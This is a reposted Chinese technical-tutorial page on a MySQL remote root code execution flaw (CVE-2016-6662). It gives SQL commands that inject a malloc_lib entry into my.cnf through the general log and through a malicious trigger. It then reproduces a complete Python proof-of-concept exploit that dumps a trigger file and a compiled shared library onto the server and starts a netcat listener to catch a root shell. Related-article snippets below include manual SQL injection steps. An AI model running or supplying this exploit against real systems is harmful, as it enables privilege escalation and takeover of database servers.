首页 / MYSQL / mysql代码执行漏洞

mysql代码执行漏洞

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了mysql代码执行漏洞，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含11266字，纯文字阅读大概需要17分钟。

内容图文

我们通过覆写/etc/my.cnf注入malloc_lib=路径选项，命令如下：

----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is ‘tcmalloc‘, look for tcmalloc shared library in /usr/lib
#   then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple. Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal ‘‘ _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib ‘$tmp‘"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done
[...]
----------[ eof ]---------------
mysql> set global general_log_file = ‘/etc/my.cnf‘;
mysql> set global general_log = on;
mysql> select ‘
    ‘>
    ‘> ; injected config entry
    ‘>
    ‘> [mysqld]
    ‘> malloc_lib=/tmp/mysql_exploit_lib.so
    ‘>
    ‘> [separator]
    ‘>
    ‘> ‘;
mysql> set global general_log = off;

注意：修改配置文件后，会导致mysql重启的时候失败。

注入后的my.cnf文件包含：

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
mysqld_safe也载入配置文件从mysql的data目录，(/var/lib/mysql/my.cnf)，这个功能从mysql 5.7移除，不再加载，所以即使mysql用户没有权限修改/etc/my.cnf，也可以通过下面的文件来加载

/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf

即使没有dba权限，也可以通过触发器来覆写文件

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file=‘/var/lib/mysql/my.cnf‘;
   set global general_log = on;
   select "
[mysqld]
malloc_lib=‘/var/lib/mysql/mysql_hookandroot_lib.so‘
" INTO void;
   set global general_log = off;
END;
SELECT ‘....trigger_code...‘ INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG‘

触发器写入成功后，刷新的时候会载入，比如通过执行一个insert语句来刷新

INSERT INTO `active_table` VALUES(‘xyz‘);

exp如下：

----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
    print "[+] " + str + "\n"
def errmsg(str):
    print "[!] " + str + "\n"
def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path=‘/var/lib/mysql/mysql_hookandroot_lib.so‘
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog=‘0ldSQL_MySQL_RCE_exploit.py‘, description=‘PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662‘)
parser.add_argument(‘-dbuser‘, dest=‘TARGET_USER‘, required=True, help=‘MySQL username‘)
parser.add_argument(‘-dbpass‘, dest=‘TARGET_PASS‘, required=True, help=‘MySQL password‘)
parser.add_argument(‘-dbname‘, dest=‘TARGET_DB‘,   required=True, help=‘Remote MySQL database name‘)
parser.add_argument(‘-dbhost‘, dest=‘TARGET_HOST‘, required=True, help=‘Remote MySQL host‘)
parser.add_argument(‘-mycnf‘, dest=‘TARGET_MYCNF‘, required=True, help=‘Remote my.cnf owned by mysql user‘)

args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account ‘%s@%s‘ using DB ‘%s‘" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)
try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error
    shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = ‘./mysql_hookandroot_lib.so‘
with open(hookandrootlib_path, ‘rb‘) as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file=‘/var/lib/mysql/my.cnf‘;
   set global general_log = on;
   select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib=‘/var/lib/mysql/mysql_hookandroot_lib.so‘
[abyss]
" INTO void;
   set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers=‘CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\‘%s\\‘;\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\‘%s\\‘\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND‘
sql_modes=0
definers=‘root@localhost‘
client_cs_names=‘utf8‘
connection_cl_names=‘utf8_general_ci‘
db_cl_names=‘latin1_swedish_ci‘
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE ‘%s‘ """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE ‘%s‘ """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table ‘poctable‘ so that injected ‘poctable.TRG‘ trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE=‘MyISAM‘" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)
# Finally, execute the trigger‘s payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES(‘execute the trigger!‘);" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file(‘%s‘)" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)

摘自：http://m.bobao.360.cn/learning/detail/3025.html?from=timeline&isappinstalled=1

mysql代码执行漏洞

标签：

本文系统来源：http://www.cnblogs.com/milantgh/p/5866866.html

内容总结

以上是互联网集市为您收集整理的mysql代码执行漏洞全部内容，希望文章能够帮你解决mysql代码执行漏洞所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/469049.html

来源：【匿名】

【上一篇】MySQL Information Functions 【下一篇】用IE远程创建Mysql数据库的简易程序

更多 ►

【mysql代码执行漏洞】教程文章相关的互联网学习教程文章

Oracle MySQL Server 拒绝服务漏洞

漏洞名称：Oracle MySQL Server 拒绝服务漏洞CNNVD编号：CNNVD-201401-316发布时间：2014-01-22更新时间：2014-01-22危害等级：中危漏洞类型：威胁类型：远程CVE编号：CVE-2013-5881MySQL Server是美国甲骨文（Oracle）公司的一套开源的关系数据库管理系统。该数据库系统具有性能高、成本低、可靠性好等特点。 Oracle MySQL 5.6.14及之前版本的MySQL Server组件中的InnoDB子组件存在拒绝服务漏洞。远程攻击者可利用该漏...

MySQL存在权限提升及安全限制绕过漏洞_PHP教程

受影响系统：MySQL AB MySQL <= 5.1.10描述：MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。在MySQL上，拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。此外，由于在错误的安全环境中计算了suid例程的参数，攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用...

SAPMaxDBMySQL修补数据库严重漏洞_PHP教程

近日SAP的开发者修正了一个存在SAP MaxDB数据库中的严重漏洞，该漏洞可以被黑客利用来执行恶意代码。来自赛门铁克的研究人员Olive Karow发现了这个数据库漏洞。该漏洞在最新版本MaxDB 7.6.00.31中被修补。根据赛门铁克发布的报告，“通过发送一个变形的HTTP请求，攻击者可以获得wahttp进程的权限，从而执行恶意代码。不需要认证就可以成功的利用该漏洞。”根据赛门铁克的报告，有一个临时性的解决办法，MaxDB客户可以禁用SAP-DB的W...

关于MYSQL语句存在注入漏洞的写法_PHP教程

SQL Injection with MySQL 本文作者：angel 文章性质：原创发布日期：2004-09-16 本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。声明本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有...

WinMySQLadmin1.1以明文形式存放Mysql密码漏洞-数据库相关-PHP教程-微_PHP教程

WinMySQLadmin 1.1 以明文形式存放 Mysql 密码漏洞文章来源：涉及程序： WinMySQLadmin 详细： WinMySQLadmin 是一个 Mysql 管理软件，发现它以明文形式存放 Mysql 密码于 c:winntmy.ini 文件中。------#This File was made using the WinMySQLadmin 1.1 Tool[mysqld]basedir=C:/mysqldatadir=C:/mysql/data[WinMySQLadmin]Server=C:/mysql/bin/mysqld-nt.exeuser=adminpassword=XXXXX (in clear text)QueryInterval=30...

PHP五Version5.4.4发布+11楼mysql、windows远程连接严重漏洞

PHP 5 Version 5.4.4 发布+11楼 mysql、windows远程连接严重漏洞http://www.php.com/ChangeLog-5.php06-June-2012DES算法Crypt实现中的一个漏洞phar扩展中的一个堆溢出问题CLI SAPIImplemented FR #61977 (Need CLI web-server support for files with .htm & svg extensions)Improved performance while sending error page, this also fixed bug Fixed bug #61785 (Memory leak when access a non-exists file without router)Fi...

C#参数化执行SQL语句，防止漏洞攻击本文以MySql为例【20151108非查询操作】

***********************非查询操作*****************************************///今天太晚了，先写个非查询操作的，明天在写查询操作的。/****函数*****//// <summary>/// 增删改数据，返回影响行数，没有则返回-1/// </summary>/// <param name="sql">sql语句</param>/// <param name="ps">参数</param>/// <returns>返回影响行数</returns>static string connStr ="server=IP;User Id=账号名;password=密码;Database=表名"；pub...

mysql代码执行漏洞

/etc/my.cnf Global options/etc/mysql/my.cnfGlobal optionsSYSCONFDIR/my.cnfGlobal options$MYSQL_HOME/my.cnfServer-specific optionsdefaults-extra-fileThe file specified with --defaults-extra-file=file_name, if any~/.my.cnfUser-specific options 我们通过覆写/etc/my.cnf注入malloc_lib=路径选项，命令如下： ----[ /usr/bin/mysqld_safe ]----[...]# set_malloc_lib LIB# - If LIB is empty, do nothing and...

运维漏洞-Jenkins-MySQL【图】

运维漏洞-Jenkins-MySQL标签：mic jenkin http inf img alt mysql 运维 mysq 本文系统来源：https://blog.51cto.com/10945453/2396026

Oracle MySQL Server组件Protocol子组件远程漏洞(CVE-2012-3158)

厂商补丁：Oracle------Oracle已经为此发布了一个安全公告（cpuoct2012-1515893）以及相应补丁:cpuoct2012-1515893：Oracle Critical Patch Update Advisory - October 2012链接：http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlOracle MySQL Server组件Protocol子组件远程漏洞(CVE-2012-3158)标签：cal span html date mysql协议开发 hit 数据 www. 本文系统来源：https://www.cn...

Oracle MySQL Server组件Information Schema子组件远程漏洞(CVE-2012-3163)

厂商补丁：Oracle------Oracle已经为此发布了一个安全公告（cpuoct2012-1515893）以及相应补丁:cpuoct2012-1515893：Oracle Critical Patch Update Advisory - October 2012链接：http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlOracle MySQL Server组件Information Schema子组件远程漏洞(CVE-2012-3163)标签：form patch info 通过收购数据库管理 orm 管理系 -- 本文系统来源：h...

80、SQL手工注入漏洞测试（MySQL数据库）【图】

原文引用https://www.dazhuanlan.com/2019/08/25/5d62593d1d0a1/访问网页，进入登陆下方的滚动公告，进行测试注入点?id=1 and 1=1返回正常，?id=1 and 1=2 返回错误，说明有注入点。?id=1 order by 5查询列数。一直减少，直到页面返回正常?id=1 and 1=2 union select 1,version(),database(),4查询版本和数据库名称（此时知道数据库为mozhe_Discuz_StormGroup） ?id=1 and 1=2 union select 1,schema_name,3,4 from information_sc...

MySQL服务端读取客户端的漏洞

[mysqld] #服务端配置 local-infle = 1 [mysql] #客户端配置 local-infile = 1 否则，mysql服务会提示错误: ERROR 1148 (42000): The used command is not allowed with this MySQL version. ------------------------------- 另外，如果使用了python来运行的话，应该这样连接： conn = MySQLdb.connect(host=host_str , user=user_str , passwd=pwd_str , db=db_str , local_infile=1,charset=char...

Oracle发布软件更新修复Java漏洞【图】

北京时间1月13日消息，Oracle发布了一个紧急软件更新来修复其Java软件中的安全漏洞，此漏洞可能会让攻击者非法侵入电脑。这项更新目前可在Oracle官网下载，修复了Java 7中的一个关键漏洞，此漏洞可能会让远程的未经授权的攻击者执行任意代码。如果有人访问北京时间1月13日消息，Oracle发布了一个紧急软件更新来修复其Java软件中的安全漏洞，此漏洞可能会让攻击者非法侵入电脑。这项更新目前可在Oracle官网下载，修复了Java 7中的一...

AspCms_v1.5_2011.03.03多个0day漏洞及修复【图】

akast [N.S.T] 一、介绍 ASPCMS是由武汉上谷网络科技有限公司基于ASP+Access(sql2000)开发并完全开源的一套建站系统，主要面向企业进行快速的建造简洁，高效，易用，安全的公司企业网站，一般的开发人员就能够使用本系统以最低的成本、最少的人力投入在最短 akast [N.S.T] 一、介绍ASPCMS是由武汉上谷网络科技有限公司基于ASP+Access(sql2000)开发并完全开源的一套建站系统，主要面向企业进行快速的建造简洁，高效，易用，安全的...

首页 / MYSQL / mysql代码执行漏洞

mysql代码执行漏洞

内容导读

内容图文

内容总结

内容备注

内容手机端

【mysql代码执行漏洞】教程文章相关的互联网学习教程文章

Oracle MySQL Server 拒绝服务漏洞

MySQL存在权限提升及安全限制绕过漏洞_PHP教程

SAPMaxDBMySQL修补数据库严重漏洞_PHP教程

关于MYSQL语句存在注入漏洞的写法_PHP教程

WinMySQLadmin1.1以明文形式存放Mysql密码漏洞-数据库相关-PHP教程-微_PHP教程

PHP五Version5.4.4发布+11楼mysql、windows远程连接严重漏洞

C#参数化执行SQL语句，防止漏洞攻击本文以MySql为例【20151108非查询操作】

mysql代码执行漏洞

运维漏洞-Jenkins-MySQL【图】

Oracle MySQL Server组件Protocol子组件远程漏洞(CVE-2012-3158)

Oracle MySQL Server组件Information Schema子组件远程漏洞(CVE-2012-3163)

80、SQL手工注入漏洞测试（MySQL数据库）【图】

MySQL服务端读取客户端的漏洞

Oracle发布软件更新修复Java漏洞【图】

AspCms_v1.5_2011.03.03多个0day漏洞及修复【图】

MYSQL - 相关标签

漏洞 - 相关标签

执行 - 相关标签

MYSQL - 技术教程分类

MYSQL - 最新教程

MYSQL - 最热教程